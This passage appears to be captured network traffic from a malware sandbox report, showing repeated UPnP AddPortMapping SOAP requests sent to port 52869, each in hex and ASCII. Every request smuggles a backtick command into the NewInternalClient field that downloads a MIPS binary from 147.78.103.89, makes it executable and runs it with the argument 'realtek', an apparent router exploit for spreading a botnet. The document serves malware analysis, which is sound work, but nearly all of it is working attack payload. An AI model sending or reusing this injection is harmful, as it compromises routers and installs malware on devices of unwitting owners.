69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:21.560503960 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      22192.168.2.1540724185.131.76.20152869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:45.920339108 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:49.147116899 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:55.290904999 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:07.322570086 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:32.409954071 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:21.560493946 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
